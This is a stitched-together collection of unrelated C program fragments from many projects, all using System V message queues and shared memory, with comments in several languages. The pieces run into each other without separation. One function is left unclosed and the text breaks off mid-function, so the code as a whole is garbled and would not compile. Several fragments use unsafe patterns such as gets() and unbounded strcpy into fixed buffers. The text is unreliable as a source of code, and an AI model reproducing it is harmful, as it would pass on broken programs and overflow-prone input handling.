int main() {
int msgid;
msgid = msgget(0xA,IPC_CREAT | 0700);
printf("msg id %d\n",msgid);
return 0;
}
int main(int argc, char **argv)
{
int c;
int key;
int retcode;
const char *gg="G";
bool doblock=false;
buffer.mType=MSGRECEIVE;
buffer.mText[0]=0;
key=0xdeadbeef;
while (1)
{
int option_index = 0;
c = getopt_long (argc, argv, "v?hdbwWfarRs:k:",long_options, &option_index);
if (c == -1)
break;
switch (c)
{
case 's':
strcpy(buffer.mText,optarg);
sendMsg();
action=true;
break;
case 'r':
printAll=true;
break;
case 'f':
flushQueue=true;
break;
case 'w':
receiveType=WAIT_MSG;
break;
case 'W':
waitFirst=true;
break;
case 'k':
key=atoi(optarg);
if((queueID=msgget(key,IPC_CREAT|0660))==-1)
{
fprintf(stderr,"Can't create message queue\n");
exit(NOMAKEQUEUE);
}
break;
case 'a':
doActivateKKEdit=true;
break;
case 'R':
doRemove=true;
break;
case 'b':
doblock=true;
break;
case 'v':
printf("kkeditmsg %s\n",VERSION);
return ALLOK;
break;
case '?':
case 'h':
printHelp();
return ALLOK;
break;
default:
fprintf(stderr,"?? Unknown argument ??\n");
return UNKNOWNARG;
break;
}
}
if((queueID=msgget(key,IPC_CREAT|0660))==-1)
{
fprintf(stderr,"Can't create message queue\n");
exit(NOMAKEQUEUE);
}
if (flushQueue==true)
{
allDone=false;
while(allDone==false)
{
retcode=msgrcv(queueID,&buffer,MAX_MSG_SIZE,MSGANY,receiveType);
if(retcode<=1)
allDone=true;
}
return(ALLOK);
}
if(doActivateKKEdit==true)
{
char *com;
sinkReturn=asprintf(&com,"kkedit -i %i",key);
sinkReturn=system(com);
free(com);
}
if(doblock==true)
{
block();
return(ALLOK);
}
if (printAll==true)
{
if(waitFirst==true)
{
receiveType=WAIT_MSG;
readMsg();
receiveType=IPC_NOWAIT;
}
while(allDone==false)
readMsg();
return(ALLOK);
}
if(doRemove==true)
{
queueID=msgget(key,IPC_CREAT|0660);
msgctl(queueID,IPC_RMID,NULL);
}
if(action==false)
readMsg();
return(ALLOK);
}
int main()
{
FILE *fp;
key_t key;
pid_t pid;
int msgid; //队列ID
struct msgbuf msg1,msg2;
char wbuf[800]="",my_name[20]="",others_name[20]="";
key=ftok(".",0xFF);
if((msgid=msgget(key,IPC_CREAT|0666))<0)
{
//创建队列
perror("msgger error");
exit(0);
}
printf("plese input you name:");
msg1.mtype=4; //消息类型为3,此消息接受对方的姓名
memset(msg1.mtext,0,100);// 设置缓冲区的内容
fgets(wbuf,100,stdin);//将标准输入到wbuf缓冲区
wbuf[strlen(wbuf)-1]='\0';
strcpy(msg1.mtext,wbuf);
strcpy(my_name,wbuf);
msgsnd(msgid,&msg1,sizeof(msg1.mtext),0);
msgrcv(msgid,&msg2,100,3,0);
strcpy(others_name,msg2.mtext);
fflush(stdout);
if((pid=fork())<0)
{
printf("erro");
exit(0);
}
if(pid==0)
{
while(1)
{
msgrcv(msgid,&msg2,100,1,0);
if((fp=fopen("data.txt","a+"))==NULL)
{
perror("打开失败记录");
return 0;
}
fprintf(fp,"%s:%s\n",others_name,msg2.mtext);
fclose(fp);
printf("\r%s:%s\n%s:",others_name,msg2.mtext,my_name);
fflush(stdout);
}
}else
{
while(1)
{
msg1.mtype=2;
memset(msg1.mtext,0,100);//刷新
printf("%s:",my_name);
fgets(wbuf,100,stdin);
wbuf[strlen(wbuf)-1]='\0';
strcpy(msg1.mtext,wbuf);
msgsnd(msgid,&msg1,sizeof(msg1.mtext),0);
}
}
}
int main(int argc, char** argv) {
if (argc<4)
{
printf("Nie podano odpowiedniej ilosci parametrow.\n");
exit(0);
}
else
{
serverQID=atoi(argv[1]);
maxRandom=atoi(argv[2]);
priority=atoi(argv[3]);
if ((maxRandom<1)||(maxRandom>30000))
{
printf("Argument 2, zakres losowania musi byc z przedzialu 1-30000\n");
}
}
myPID = getpid();
myClientQID = msgget(myPID, IPC_CREAT|0600);
if (myClientQID == -1){
printf("Nie udalo sie utworzyc kolejki klienta.\n");
exit(1);
}
struct msgbuf * msg=malloc(sizeof(struct msgbuf));
msg->mtype=priority;
msg->maxRandom=maxRandom;
msg->clientQID=myClientQID;
if (msgsnd(serverQID, msg, sizeof(struct msgbuf), 0) == -1){
printf("Nie udalo sie wyslac wiadomosci od klienta do serwera.\n");
exit(2);
}
struct responsebuf* rmsg = malloc(sizeof(struct responsebuf));
if (msgrcv(myClientQID,rmsg,sizeof(struct msgbuf),-5,0)){
printf("Wylosowana liczba to : %d\n", rmsg->randomN);
}
else
{
printf("Nie udalo sie odebrac wiadomosci od serwera.\n");
}
if(msgctl(myClientQID,IPC_RMID,NULL)==0)
{
printf("Zamknieto kolejke klienta.\n");
}
else
{
printf("Nie udalo sie zamknac kolejki klienta.\n");
}
if(msgctl(serverQID,IPC_RMID,NULL)==0)
{
printf("Zamknieto kolejke servera.\n");
}
else
{
printf("Nie udalo sie zamknac kolejki servera.\n");
}
return (0);
}
int ipcrm_main(int argc, char **argv)
{
int c;
int error = 0;
/* if the command is executed without parameters, do nothing */
if (argc == 1)
return 0;
#if IPCRM_LEGACY
/* check to see if the command is being invoked in the old way if so
then run the old code. Valid commands are msg, shm, sem. */
{
type_id what = 0; /* silence gcc */
char w;
w = argv[1][0];
if ( ((w == 'm' && argv[1][1] == 's' && argv[1][2] == 'g')
|| (argv[1][0] == 's'
&& ((w = argv[1][1]) == 'h' || w == 'e')
&& argv[1][2] == 'm')
) && argv[1][3] == '\0'
) {
if (argc < 3)
bb_show_usage();
if (w == 'h')
what = SHM;
else if (w == 'm')
what = MSG;
else if (w == 'e')
what = SEM;
if (remove_ids(what, &argv[2]))
fflush_stdout_and_exit(EXIT_FAILURE);
printf("resource(s) deleted\n");
return 0;
}
}
#endif /* IPCRM_LEGACY */
/* process new syntax to conform with SYSV ipcrm */
while ((c = getopt(argc, argv, "q:m:s:Q:M:S:h?")) != -1) {
int result;
int id = 0;
int iskey = isupper(c);
/* needed to delete semaphores */
union semun arg;
arg.val = 0;
if ((c == '?') || (c == 'h')) {
bb_show_usage();
}
/* we don't need case information any more */
c = tolower(c);
/* make sure the option is in range: allowed are q, m, s */
if (c != 'q' && c != 'm' && c != 's') {
bb_show_usage();
}
if (iskey) {
/* keys are in hex or decimal */
key_t key = xstrtoul(optarg, 0);
if (key == IPC_PRIVATE) {
error++;
bb_error_msg("illegal key (%s)", optarg);
continue;
}
/* convert key to id */
id = ((c == 'q') ? msgget(key, 0) :
(c == 'm') ? shmget(key, 0, 0) : semget(key, 0, 0));
if (id < 0) {
const char *errmsg;
error++;
switch (errno) {
case EACCES:
errmsg = "permission denied for";
break;
case EIDRM:
errmsg = "already removed";
break;
case ENOENT:
errmsg = "invalid";
break;
default:
errmsg = "unknown error in";
break;
}
bb_error_msg("%s %s (%s)", errmsg, "key", optarg);
continue;
}
} else {
/* ids are in decimal */
id = xatoul(optarg);
}
result = ((c == 'q') ? msgctl(id, IPC_RMID, NULL) :
(c == 'm') ? shmctl(id, IPC_RMID, NULL) :
semctl(id, 0, IPC_RMID, arg));
if (result) {
const char *errmsg;
const char *const what = iskey ? "key" : "id";
error++;
switch (errno) {
case EACCES:
case EPERM:
errmsg = "permission denied for";
break;
case EINVAL:
errmsg = "invalid";
break;
case EIDRM:
errmsg = "already removed";
break;
default:
errmsg = "unknown error in";
break;
}
bb_error_msg("%s %s (%s)", errmsg, what, optarg);
continue;
}
}
/* print usage if we still have some arguments left over */
if (optind != argc) {
bb_show_usage();
}
/* exit value reflects the number of errors encountered */
return error;
}
int main(int argc, char *argv[]){
int sockfd; //create socket
char buffer[BUFSIZE+1];
struct sockaddr_in serv_addr; //client will connect on this
int mid;
key_t key;
char buff_str[BUFSIZE+1];
int buff_int;
char path[100];
DIR *filename;
struct dirent *ent;
sigset_t set1, set2;
sigfillset (&set1);
sigfillset (&set2);
sigdelset (&set2, SIGINT);
sigdelset (&set2, SIGQUIT);
sigprocmask(SIG_SETMASK, &set1, (void *)0);
if(argc <= 1){
printf("How to use: %s remoteIPaddress [example: ./client 127.0.0.1]\n", argv[0]);
exit(1);}
bzero( (char *) &serv_addr, sizeof(serv_addr) );
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(SERV_TCP_PORT);
inet_pton (AF_INET, argv[1], &serv_addr.sin_addr);
if( (sockfd = socket(AF_INET, SOCK_STREAM, 0) ) < 0){
perror("Client: socket() error\n");
exit(1);}
if(connect(sockfd,(struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0){
perror("Client: connect() error\n");
exit(1);}
//Aquiring Message Queue ID
key = ftok(".", 'z');
mid = msgget(key, 0);
//Display Message Queue and Client ID
printf("Message Queue ID: %d\n", mid);
printf("Client ID: %ld\n", (long)getpid());
printf("\nServer: Welcome...What do you want to do? \n[type enter to continue][type /q to quit]\n");
printf("1.Create directory\n"
"2.Delete directory\n"
"3.Download file from server\n"
"4.Send file to server\n"
"Client: ");
do{
gets(buffer);
send(sockfd, buffer, BUFSIZE, 0);
buff_int = atoi(buffer);
switch(buff_int){
case 1:
bzero(buffer, sizeof(buffer));
recv(sockfd, buffer, BUFSIZE, 0);
printf("Server: %s\n",buffer);
bzero(buffer, sizeof(buffer));
gets(buffer);
send(sockfd, buffer, BUFSIZE, 0);
recv(sockfd, buffer, BUFSIZE, 0);
break;
case 2:
bzero(buffer, sizeof(buffer));
recv(sockfd, buffer, BUFSIZE, 0);
printf("Server: %s\n",buffer);
break;
case 3:
bzero(buffer, sizeof(buffer));
recv(sockfd, buffer, BUFSIZE, 0);
printf("Server: %s\n",buffer);
printf("Choose the file that you want to download.\n");
gets(buffer);
send(sockfd, buffer, BUFSIZE, 0);
bzero(buffer, sizeof(buffer));
recv(sockfd, buffer, BUFSIZE, 0);
/*Receive File from Server*/
printf("Client: Receiveing file from Server and saving it as receive_server_file.txt...\n");
char* fr_name = "/home/kenzo/Desktop/Client/receive_server_file.txt";
FILE *fr = fopen(fr_name, "a");
if(fr == NULL)
printf("File %s Cannot be opened.\n", fr_name);
else
{
bzero(buffer, BUFSIZE);
int fr_block_sz = 0;
while((fr_block_sz = recv(sockfd, buffer, BUFSIZE, 0)) > 0)
{
int write_sz = fwrite(buffer, sizeof(char), fr_block_sz, fr);
if(write_sz < fr_block_sz)
{
error("File write failed.\n");
}
bzero(buffer, BUFSIZE);
if (fr_block_sz == 0 || fr_block_sz != 256 )
{
break;
}
}
if(fr_block_sz < 0)
{
if (errno == EAGAIN)
{
printf("recv() timed out.\n");
}
else
{
fprintf(stderr, "recv() failed due to errno = %d\n", errno);
}
}
printf("File had successfully received from server!\n");
fclose(fr);
}
break;
case 4:
printf("Which file do you want to send to server?");
filename = opendir ("/home/kenzo/Desktop/Client");
if (filename != NULL)
{
while ((ent = readdir (filename))!=NULL) {
strcat(buffer,ent->d_name);
strcat(buffer,"\n");
}
closedir (filename);
puts(buffer);
}
gets(buffer);
strcpy(path,"/home/kenzo/Desktop/Client/");
char* fs_name = strcat(path,buffer);
printf("Client: Sending %s to the Server...\n ", fs_name);
FILE *fs = fopen(fs_name, "r");
if(fs == NULL)
{
printf("ERROR: File %s not found.\n", fs_name);
exit(1);
}
bzero(buffer, BUFSIZE);
int fs_block_sz;
while((fs_block_sz = fread(buffer, sizeof(char), BUFSIZE, fs)) > 0)
{
if(send(sockfd, buffer, fs_block_sz, 0) < 0)
{
fprintf(stderr, "ERROR: Failed to send file %s. (errno = %d)\n", fs_name, errno);
}
bzero(buffer, BUFSIZE);
}
printf("File %s from Client has successfully Sent!\n", fs_name);
}
}while(strcmp(buffer, "/q"));
sigprocmask (SIG_UNBLOCK, &set1, (void *)0);
close(sockfd);
}
int
main(int argc, char *argv[])
{
struct request_msg req;
struct response_msg resp;
int server_id, num_msgs;
ssize_t msg_len, total_bytes;
if (argc != 2 || strcmp(argv[1], "--help") == 0) {
fprintf(stderr, "usage: %s pathmae\n", argv[0]);
exit(EXIT_FAILURE);
}
if (strlen(argv[1]) > sizeof(req.pathname) - 1) {
fprintf(stderr, "pathmame too long (max: %ld bytes)\n",
(long) sizeof(req.pathname) - 1);
fprintf(stderr, "usage: %s pathname\n", argv[0]);
exit(EXIT_FAILURE);
}
/* Get server's queue identifier; create queue for response */
server_id = msgget(SERVER_KEY, S_IWUSR); /* -w------- */
if (server_id == -1) {
perror("msgget - server message queue");
exit(EXIT_FAILURE);
}
client_id = msgget(IPC_PRIVATE,
S_IRUSR | S_IWUSR | S_IWGRP); /* rw--w---- */
if (client_id == -1) {
perror("msgget - client message queue");
exit(EXIT_FAILURE);
}
if (atexit(remove_queue) != 0) {
perror("atexit");
exit(EXIT_FAILURE);
}
/* Send message asking for file named in argv[1] */
req.mtype = 1; /* Any type will do */
req.client_id = client_id;
strncpy(req.pathname, argv[1], sizeof(req.pathname) -1);
req.pathname[sizeof(req.pathname) - 1] = '\0';
/* Ensure string is terminated */
if (msgsnd(server_id, &req, REQ_MSG_SIZE, 0) == -1) {
perror("msgsnd");
exit(EXIT_FAILURE);
}
/* Get first response, which may be failure notification */
msg_len = msgrcv(client_id, &resp, RESP_MSG_SIZE, 0, 0);
if (msg_len == -1) {
perror("msgrcv");
exit(EXIT_FAILURE);
}
if (resp.mtype == RESP_MT_FAILURE) {
printf("%s\n", resp.data); /* Display msg from server */
if (msgctl(client_id, IPC_RMID, NULL) == -1) {
perror("msgctl");
exit(EXIT_FAILURE);
}
exit(EXIT_FAILURE);
}
/* File was opened successfully by server; process messages
* (including the one already received) containing file data */
total_bytes = msg_len; /* Count first message */
for (num_msgs = 1; resp.mtype == RESP_MT_DATA; ++num_msgs) {
msg_len = msgrcv(client_id, &resp, RESP_MSG_SIZE, 0, 0);
if (msg_len == -1) {
perror("msgrcv");
exit(EXIT_FAILURE);
}
total_bytes += msg_len;
}
printf("Received %ld bytes (%d messages)\n",
(long) total_bytes, num_msgs);
exit(EXIT_SUCCESS);
}
int main(){
pid_t pidc, pids;
int ret;
id_c=msgget(IPC_PRIVATE, IPC_CREAT|0664);
if(id_c < 0) {
perror("Errore allocazione coda");
exit(1);
}
id_s=msgget(IPC_PRIVATE, IPC_CREAT|0664);
if(id_s < 0) {
perror("Errore allocazione coda");
exit(1);
}
for(i=0;i<CLIENT;i++){
pidc=fork();
if(pidc<0) {
perror("Errore fork client");
exit(1);
}
if(pidc==0){
client();
exit(0);
}
}
pids=fork();
if(pids<0) {
perror("Errore fork server");
exit(1);
}
if(pids==0){
server();
exit(0);
}
for(i=0;i<CLIENT;i++) {
wait(0);
}
Buffer_C uscita;
uscita.v1=-1;
uscita.v2=-1;
uscita.pid=getpid();
ret = msgsnd(id_c,&uscita,sizeof(Buffer_C)-sizeof(long),0);
if(ret < 0) {
perror("Errore invio messaggio di terminazione");
exit(1);
}
wait(0);
msgctl(id_c,0,IPC_RMID);
msgctl(id_s,0,IPC_RMID);
return 0;
}
void* Primary(){
buf = &messageqid;
key = 1234;
//printf("%s", "vi er her \n");
if ((msqid = msgget(key, msgflg )) < 0) //Get the message queue ID for the given key
die("msgget");
//Message Type
sbuf.mtype = 1;
sleep(1);
buflen = strlen(sbuf.mtext) + 1 ;
int a = 1;
while(a){
// printf("%s", "vi i while \n");
if ((msqid = msgget(key, 0666)) < 0){
die("msgget");
}
//Receive an answer of message type 1.
if (msgrcv(msqid, &rcvbuffer, MAXSIZE, 0, IPC_NOWAIT) < 0){
// printf("%s", "vi inni while \n");
timeWaited = difftime(time(0), buf->msg_stime);
// printf("%f", timeWaited);
if(timeWaited > 3){
a = 0;
}
}
}
//Create backup
if(rcvbuffer.mtext != NULL){
i = atoi(rcvbuffer.mtext);
i++;
}
pthread_t t1;
pthread_create(&t1, NULL, Primary, NULL);
//Send messages
while(1){
sprintf(sbuf.mtext, "%d", i);
if (msgsnd(msqid, &sbuf, buflen, IPC_NOWAIT) < 0){
//printf ("%d, %d, %s, %d\n", msqid, sbuf.mtype, sbuf.mtext, buflen);
die("msgsnd");
}
else{
printf("%i\n", i);
}
// printf("%s", "hoho vi kom forbi");
msgctl(msqid, IPC_STAT, buf);
i++;
if(i == 4 || i == 7){
pthread_exit(Primary);
}
sleep(1);
}
exit(0);
}
int main(int argc, char* argv[])
{
int i = 0;
char symbol;
int end_app = 0;
int task = 0;
int server = msgget(15071410, 0644 | O_EXCL);
struct msgbuf message;
struct msgbuf m[20];
for(i=0; i<20; i++)
{
strcpy(m[i].text, "");
strcpy(m[i].nick, "");
strcpy(m[i].date, "");
}
if (server == -1)
{
printf("Blad komunikacji z serwerem! \n");
}
InitMenu();
while(!end_app)
{
printf("\nPodaj ID zadania: ");
scanf("%d",&task);
switch(task)
{
case 1:
printf("Logowanie. Podaj nick: \n");
scanf("%s", message.nick);
break;
case 2:
//printf("Uzytkownicy: \n");
break;
case 3:
//printf("Grupy: \n");
break;
case 4:
printf("Zmien nick: \n");
scanf("%s", message.nick);
break;
case 5:
printf("Dolacz do grupy. Podaj nazwe grupy: \n");
scanf("%s", message.nick);
break;
case 6:
printf("Wypisz sie z grupy. Podaj nazwe grupy: \n");
scanf("%s", message.nick);
break;
case 8:
printf("Wyswietl chat. \n ");
ShowChat(message, m, server);
break;
case 9:
printf("Wyslij wiadomosc do grupy. Podaj nazwe grupy: \n");
scanf("%s", message.nick);
i=0;
strcpy(message.text, ""); //clear old msg
while( (symbol = getchar()) != '\n')
{
//clean buffer
}
printf("Podaj wiadomosc: \n");
symbol=getchar();
while(( (symbol != '\n') && (i <256) )){
printf("Moje i to: %d", i);
message.text[i++]=symbol;
symbol = getchar();
}
message.text[i]=0;
break;
case 10:
printf("Wyloguj \n");
break;
}
message = InitTasks(message, task);
msgsnd(server, &message, sizeof(message), 0);
msgrcv(server, &message, sizeof(message), getpid(), MSG_NOERROR);
CheckStatus(message);
CheckCMD(message);
}
return 0;
}
/*******************************************************************************
* Entrada principal al programa.
* Argumentos:
* argc -- Numero de parametros con el que se ha llamado al programa.
* argv -- Array de cadenas que contiene los parametros de entrada al programa.
******************************************************************************/
main(int argc, char **argv)
{
//Truncamos, o creamos si no existe, el archivo para el mecanismo IPC.
FILE *colas;
if((colas = fopen(FICHERO, "w")) == NULL)
{
printf("\nServidor: No se puede crear el archivo para las colas de mensajes.\n");
exit(-1);
}
fclose(colas);
//Creamos el token para la cola cliente-servidor.
llaveCCS = ftok(FICHERO, CLAVE_CCS);
if(llaveCCS == (key_t) - 1)
{
perror("\nServidor");
exit(-1);
}
//Creamos el token para la cola servidor-cliente.
llaveCSC = ftok(FICHERO, CLAVE_CSC);
if(llaveCSC == (key_t) - 1)
{
perror("\nServidor");
exit(-1);
}
//Obtenemos, o creamos si no existe, la cola cliente-servidor.
msqIdCCS = msgget(llaveCCS, IPC_CREAT | 0666);
if(msqIdCCS == -1)
{
perror("\nServidor");
exit(-1);
}
//Obtenemos, o creamos si no existe, la cola servidor-cliente.
msqIdCSC = msgget(llaveCSC, IPC_CREAT | 0666);
if(msqIdCSC == -1)
{
perror("\nServidor");
exit(-1);
}
//Bucle de recepcion y tratamiento de mensajes.
while(1)
{
struct mensaje mensajeRcv;
if(msgrcv(msqIdCCS, &mensajeRcv, LON_MENSAJE, 0, 0) == -1)
{
perror("\nServidor");
exit(-1);
}
switch(mensajeRcv.orden)
{
case PEDIR_DATOS:
PedirDatos(mensajeRcv);
break;
case INSERTAR_DATO:
InsertarDatos(mensajeRcv);
break;
case FIN_DE_COMUNICACION:
CerrarServidor();
default:
EnviarCSCMsg(mensajeRcv.pid, ERROR, mensajeRcv.datos);
break;
}
}
}
int main()
{
int result = 0;//, thr_count = 0;
key_t key = ftok(PATH_NAME, 0);
if (key < 0) {
printf("Can not generate key.\n");
exit(-1);
}
pthread_t thread_id;
thread_input* func_argument = (thread_input*)calloc(MAX_NUMBER_OF_REQUESTS, sizeof(thread_input));
int sem_id = semget(key, 1, 0666 | IPC_CREAT);
if (sem_id < 0) {
printf("Can not get msqid.\n");
exit(-1);
}
struct sembuf init_sem = {};
init_sem.sem_num = 0;
init_sem.sem_op = MAX_NUMBER_OF_REQUESTS + 1;
init_sem.sem_flg = 0;
struct sembuf threads_free = {};
threads_free.sem_num = 0;
threads_free.sem_op = -1;
threads_free.sem_flg = 0;
semop(sem_id, &init_sem, 1);
int msqu_id = msgget(key, 0666 | IPC_CREAT);
if (msqu_id < 0) {
printf("Can not get msqu_id.\n");
exit(-1);
}
message mybuf_input;
while(1) {
if ((msgrcv(msqu_id, (message*) &mybuf_input, sizeof(my_data), 0, 0)) < 0) {
printf("Can\'t receive message from client.\n");
exit(-1);
}
else {
printf("I have a message! Process id is %d\n", (int)mybuf_input.data.my_id);
sleep(1);
if (mybuf_input.type == 255) exit(0);
semop(sem_id, &threads_free, 1);
int i;
for (i = 0; i < MAX_NUMBER_OF_REQUESTS; i++) {
if(threads_to_use[i] == 0) {
threads_to_use[i] = 1;
func_argument[i].buf_in = mybuf_input;
func_argument[i].thread_num = i;
func_argument[i].msg_id = msqu_id;
func_argument[i].sem_id = sem_id;
result = pthread_create(&thread_id, (pthread_attr_t *)NULL, my_thread, func_argument + i);
if (result) {
printf("Can not create thread, returned value = %d\n" , result);
exit(-1);
}
break;
}
}
}
}
return 0;
}
int main(int argc,char* argv[])
{
struct sigaction Fct;
int memoire;
connecte = false;
Fct.sa_handler = HNouveauMessage;
sigemptyset(&Fct.sa_mask);
Fct.sa_flags = 0;
sigaction (SIGUSR1, &Fct, NULL);
Fct.sa_handler = HFinConnexion;
sigemptyset(&Fct.sa_mask);
Fct.sa_flags = 0;
sigaction (SIGINT, &Fct, NULL);
sigemptyset(&Fct.sa_mask);
Fct.sa_flags = 0;
Fct.sa_handler = HNalarm;
sigaction(SIGALRM, &Fct, NULL);
Fct.sa_handler = NouvPub;
sigemptyset(&Fct.sa_mask);
Fct.sa_flags = 0;
sigaction (SIGUSR2, &Fct, NULL);
if ((memoire = shmget(MEMORY,0, NULL)) == -1) //si elle existe on recupère ses infos ici
{
printf("erreur de recuperation memoire"); // sinon on a un problème
exit(1);
}
if((Tab = (MEMOIRE*)shmat(memoire, NULL, 0)) == (MEMOIRE*) -1)//On se raccroche à la mémoire avec un pointeur de struct memoire
{
printf("Erreur du rattachement à la mémoire");
exit(1);
}
if ((idMsg = msgget(KEY, 0)) == -1) //rattache la file de message
{
fflush(stdout);
perror("Erreur msgget Client");
exit(0);
}
M.Requete = NEWWINDOW;
M.Type = 1L;
M.idPid = getpid();
if (msgsnd (idMsg, &M, strlen(M.Donnee) + sizeof(long) + 1 + sizeof(int), 0) == -1)
{
perror("Erreur msgsnd Client");
exit(0);
}
QApplication appl(argc,argv);
F1 = new Client();
F1->show();
F1->setPublicite(Tab->pub);
return appl.exec();
}
int main( int argc , char *argv[] )
{
int shmid, shmflg, queID, msgStatus, lines_active;
key_t shmkey, msgQueKey;
shared_data *p;
msgBuf msg;
shmkey = SHMEM_KEY ;
shmflg = IPC_CREAT | S_IRUSR | S_IWUSR /* | IPC_EXCL */ ;
shmid = shmget( shmkey , SHMEM_SIZE , shmflg );
if (shmid == -1)
{
printf("\nFailed to create/find shared memory '0x%X'.\n", shmkey );
perror("Reason:");
exit(-1);
}
p = (shared_data *) shmat( shmid , NULL , 0 );
if (p == (shared_data *) -1)
{
printf ("\nFailed to attach shared memory id=%d\n" , shmid );
perror("Reason:");
exit(-1) ;
}
/* Create / Find the message queues */
msgQueKey = BASE_MAILBOX_NAME ;
queID = msgget( msgQueKey , IPC_CREAT | 0600 ) ; /*rw. ... ...*/
if ( queID < 0 )
{
printf("Failed to create mailbox %X. Error code=%d\n", msgQueKey , errno ) ;
exit(-2) ;
}
lines_active = atoi(argv[1]);
while (0 < lines_active)
{
//printf("LINES ACTIVE: %d\n", lines_active);
/* now, wait for a message to arrive from the user process */
msgStatus = msgrcv( queID , &msg , MSG_INFO_SIZE , 1 , 0 );
if ( msgStatus < 0 )
{
printf("failed to receive message from user process on queuid %d. error code=%d\n"
, queID , errno ) ;
sleep(3);
exit(-2) ;
}
if (msg.info.is_done == 1)
{
lines_active--;
printf("Factory ID: %d Total iterations: %d Total parts produced: %d\n", msg.info.factory_ID, msg.info.num_iters, msg.info.produced);
}
else
{
p->total += msg.info.num_parts;
p->num_iters++;
printf("Factory ID: %d Capacity: %d Parts produced: %d Duration: %d\n",
msg.info.factory_ID, msg.info.capacity, msg.info.num_parts, msg.info.duration);
}
}
if (sem_post(&(p->factory_lines_finished)))
{
perror("Failed to post factory_lines_finished semaphore");
exit(-1);
}
if (sem_wait(&(p->print_aggregates)))
{
perror("Failed to post factory_lines_finished semaphore");
exit(-1);
}
printf("\nTotal Items Produced: %d\n", p->total);
sleep(5);
return 0;
}
void do_recv_messgae_from_arbiter()
{
char buff[65535];
struct sockaddr_in recv_control_addr;
socklen_t recv_control_addr_len = sizeof(recv_control_addr);
int len = 0;
//struct msg_st *mesg = NULL;
char buf[500];
int ret = 0;
struct msg_st mesg;
int msgid = 0;
uint32_t count_stat = 0;
//char buf[512];
char file_buf[512];
FILE *fp = NULL;
fp = fopen(DATA_STREAM_FILE_NAME,"w+");
if(NULL == fp)
{
marbit_send_log(INFO,"failed to open file %s\n", DATA_STREAM_FILE_NAME);
return;
}
int shmid = 0;
skbstat_t *skbstat = NULL;
#if 1
struct msqid_ds msg_ginfo,msg_sinfo;
msg_stat(msgid,msg_ginfo);
msg_sinfo.msg_perm.uid=8;//just a try
msg_sinfo.msg_perm.gid=8;//
msg_sinfo.msg_qbytes=16384000;
//此处验证超级用户可以更改消息队列的缺省msg_qbytes
#endif
key_t key;
key = ftok(KEYPATH, KEYPROJ);
if (key<0)
{
marbit_send_log(INFO,"ftok()");
return;
}
msgid = msgget(key, IPC_CREAT|0600);
if (msgid<0)
{
marbit_send_log(INFO,"msgget() error ");
return ;
}
if ( (shmid = shmget(STAT_SHM_KEY, SHM_SIZE, SHM_MODE)) < 0)
{
marbit_send_log(INFO,"shmget");
return;
}
if ( ( skbstat = (skbstat_t *)shmat(shmid, NULL, 0)) == (void *) -1)
{
marbit_send_log(INFO, "shmat");
return;
}
skbstat->web_msgid = msgid;
skbstat->web_mesg_flag = 1;
marbit_send_log(INFO,"msgid = %d\n", msgid);
marbit_send_log(INFO,"set shm web_mesg_flag = 1\n");
time_t begin_time = time(NULL);
time_t finish_time = 0;
marbit_send_log(INFO,"begin_time = %d\n", begin_time);
while (1)
{
if(1 == STREAM_MESG_NUM_LIMIT_FLAG)
{
if(count_stat >= STREAM_MESG_NUM_LIMIT_MAX)
{
marbit_send_log(INFO, "count_stat[%d] >= STREAM_MESG_NUM_LIMIT_MAX[%d], just exit\n",count_stat, STREAM_MESG_NUM_LIMIT_MAX);
break;
}
}
if(1 == g_force_recv_from_arbiter_shutdown)
{
marbit_send_log(INFO,"g_force_recv_from_arbiter_shutdown = 1, break\n");
break;
}
ret = msgrcv(msgid, &mesg, sizeof(mesg)-sizeof(long), 0, IPC_NOWAIT);
if (ret<0)
{
if(errno == ENOMSG)
{
continue;
}
marbit_send_log(ERROR,"msgrcv() error errno = %d\n", errno);
break;
}
if(1 == mesg.finish_flag)
{
count_stat++;
marbit_send_log(INFO,"recv message from arbiter finished! %u\n", count_stat);
finish_time = time(NULL);
marbit_send_log(INFO,"finish_time = %d\n", finish_time);
break;
}
else //if(0 == mesg->finish_flag)
{
#if 1
fprintf(fp, "%-15u,%-15u,%-15u,%-15u,%-15u,%-15u,%-15u,%-15u,%-15u,%-15u\n",
mesg.ip_src, mesg.port_src,
mesg.ip_dst , mesg.port_dst,
mesg.proto, mesg.proto_mark,
mesg.up_bytes, mesg.down_bytes,
mesg.duration_time, mesg.finish_flag);
#endif
count_stat++;
}
}
time_t end_time = time(NULL);
marbit_send_log(INFO,"end_time = %d\n", end_time);
msgctl(msgid, IPC_RMID, NULL);
fclose(fp);
return;
int main(int argc, char *argv[])
{
size_t len;
char name[MAX_NAME];
pid_t childPid;
struct Message message;
memset(name, 0, MAX_NAME);
if (atexit(cleanup) != 0) {
errExit("atexit");
}
clientId = msgget(IPC_PRIVATE, S_IRUSR | S_IWUSR);
if (clientId == -1) {
errExit("client msgget");
}
serverId = msgget(SERVER_KEY, S_IWUSR);
if (serverId == -1) {
errExit("server msgget");
}
if (fgets(name, MAX_NAME, stdin) == NULL) {
errExit("fgets");
}
len = strlen(name);
name[len - 1] = '\0';
message.mtype = CLIENT_JOIN_OR_LEAVE;
message.data.meta = META_JOIN;
message.data.mqid = clientId;
memset(message.data.text, 0, TEXT_SIZE);
strncpy(message.data.text, name, len);
// request to join the chat server
if (msgsnd(serverId, &message, MESSAGE_SIZE, 0) == -1) {
errExit("msgsnd");
}
// see if the server agrees
if (msgrcv(clientId, &message, MESSAGE_SIZE, SERVER_JOIN_OR_LEAVE, 0) == -1) {
errExit("msgsnd");
}
if (message.data.meta == META_ERR) {
fprintf(stderr, "Failed to join the server\n");
exit(EXIT_FAILURE);
}
// joining went ok, start up client handlers and enter message loop
childPid = fork();
if (childPid == 0) {
handleChats();
}
childPid = fork();
if (childPid == 0) {
handleRoomStatus();
}
message.mtype = CLIENT_CHAT;
message.data.meta = 0;
message.data.mqid = clientId;
while ((fgets(message.data.text, TEXT_SIZE, stdin)) != NULL) {
len = strlen(message.data.text);
message.data.text[len - 1] = '\0';
if (msgsnd(serverId, &message, MESSAGE_SIZE, 0) == -1) {
errExit("msgsnd");
}
}
exit(EXIT_SUCCESS);
}
int main(int argc,char *argv[])
{
sigset_t mask;
struct sigaction sigAct;
key_t cle;
REQUETE Requete;
REPONSE Reponse;
TOPSCORE TopScore;
CONNECTION *pC;
int hd;
FILE *f;
if (argc != 2)
{
printf("Nombre d'argument insuffisant !\n");
printf("Usage : Serveur cle\n");
fflush(stdout);
exit(1);
}
// Redirection de la sortie d'erreur vers Trace.log
